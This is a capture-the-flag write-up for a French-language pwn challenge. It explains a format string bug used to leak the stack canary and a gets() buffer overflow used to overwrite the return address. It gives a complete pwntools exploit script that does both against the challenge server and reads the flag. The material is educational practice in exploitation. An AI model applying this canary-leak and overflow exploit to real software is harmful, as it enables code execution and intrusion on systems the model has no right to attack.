Context

We are given this code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
void choices(void)
{
bool bVar1;
bool bVar2;
int has_choose;
long in_FS_OFFSET;
int choice;
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
choice = 0;
bVar1 = false;
bVar2 = false;
while( true ) {
while( true ) {
do {
puts("Que faites-vous ?");
puts("\n1 : Aller voir Francis");
puts(&DAT_00400c18);
puts(&DAT_00400c4a);
printf(">>> ");
fflush(stdout);
has_choose = __isoc99_scanf(&DAT_00400c6d,&choice);
if (has_choose != 1) {
/* WARNING: Subroutine does not return */
exit(0);
}
} while ((choice < 1) || (6 < choice));
if (choice != 2) break;
if (bVar2) {
puts(&DAT_00400d90);
}
else {
fgets(local_58,0x40,stdin);
fgets(local_58,0x40,stdin);
printf("[Vous] : ");
printf(local_58);
puts("");
bVar2 = true;
}
}
if (choice == 3) break;
if (choice == 1) {
if (bVar1) {
puts(
"\n[Francis] : Je crains que je ne puisse plus compter sur vous pour m\'aider, malheureu sement.\n"
);
}
else {
puts(&DAT_00400cd0);
printf("[Vous] : ");
fgets(local_58,0x40,stdin);
gets(local_58);
puts(&DAT_00400d50);
bVar1 = true;
}
}
}
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
There is also another function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void canary(void)
{
FILE *__stream;
long in_FS_OFFSET;
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts(&DAT_00400b98);
__stream = fopen("flag.txt","r");
fgets(local_58,0x48,__stream);
puts(local_58);
fclose(__stream);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The canary functions gives the flag so we need to find a way to call this function.
Since there is only one return in the choice function, we have to replace the return address with the canary function address.
1
gets(local_58);
The gets() function reads characters from the input stream and stores them in the buffer until it encounters a newline character or the end of file (EOF) indicator. However, gets() does not perform any bounds checking on the size of the input being read, which means it can write more data into the buffer than it can actually hold.
If we provide input that exceeds the buffer’s size, the extra data will overflow into adjacent memory locations, potentially overwriting important data such as function return addresses.
The fact is that the stack is protected by a canary (in_FS_OFFSET + 0x28 variable). The code checks if the canary has been modified before returning.
1
2
3
fgets(local_58,0x40,stdin);
printf("[Vous] : ");
printf(local_58);
This code is vulnerable to a format string vulnerability because the printf function does not specify a format string, but directly uses the content of the local_58 buffer as the format string. This can be problematic because if the user inputs a string that contains format specifiers (such as %s, %d, etc.), the printf function will interpret them and try to read values from the stack corresponding to those specifiers. If the values are not present or are incorrect, it can lead to memory corruption, crashes, or even arbitrary code execution.
To display the canary, which is a security mechanism used to detect buffer overflows, an attacker could provide a carefully crafted format string as input. For example, if the canary is stored on the stack before the local_58 buffer, the attacker could include a format specifier in their input like %p to read the values from the stack. By repeatedly including format specifiers and observing the output, the attacker can eventually retrieve the canary value.
Example:

We can leak the canary:

The 17th value ends with 00. It may be the canary.
Now we have to craft our payload.
1
payload = "A" * 0x48 + canary + "A" * 8 + canary_function_address
Here’s my implementation to get the flag. We get the canary value with the format string vulnerability. Then we craft the payload and use the buffer overflow vulnerability to override the return address. Then we exit the function and get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import pwn
import time
import warnings
warnings.filterwarnings("ignore")
def voir_francis(conn, msg):
conn.sendline("1")
rep = conn.recvuntil(": ").decode()
conn.sendline(msg)
rep = conn.recvuntil(">>> ").decode()
return rep
def reflechir(conn, msg):
conn.sendline("2")
conn.sendline(msg)
rep = conn.recvuntil(">>> ").decode()
return rep
def partir(conn):
conn.sendline("3")
rep = conn.recvline().decode()
return rep
win = pwn.p64(0x0000000000400877)
conn = pwn.remote("challenges.404ctf.fr", 30223)
rep = conn.recvuntil(">>> ").decode()
print(rep)
canary_payload = "%17$p"
print(canary_payload)
rep = reflechir(conn, canary_payload)
print(rep)
canary = rep.split("[Vous] : ")[1].split("\n")[0]
print("Canary:", canary)
overwrite = b'A' * 0x48
overwrite += pwn.p64(int(canary, 16))
overwrite += b'A' * 8
overwrite += win
print(overwrite)
rep = voir_francis(conn, overwrite)
print(rep)
conn.sendline("3")
rep = conn.recvuntil(b"}")
print(rep.decode())
We get the flag 🥳 !

I hope you learned something with this writeup 😊.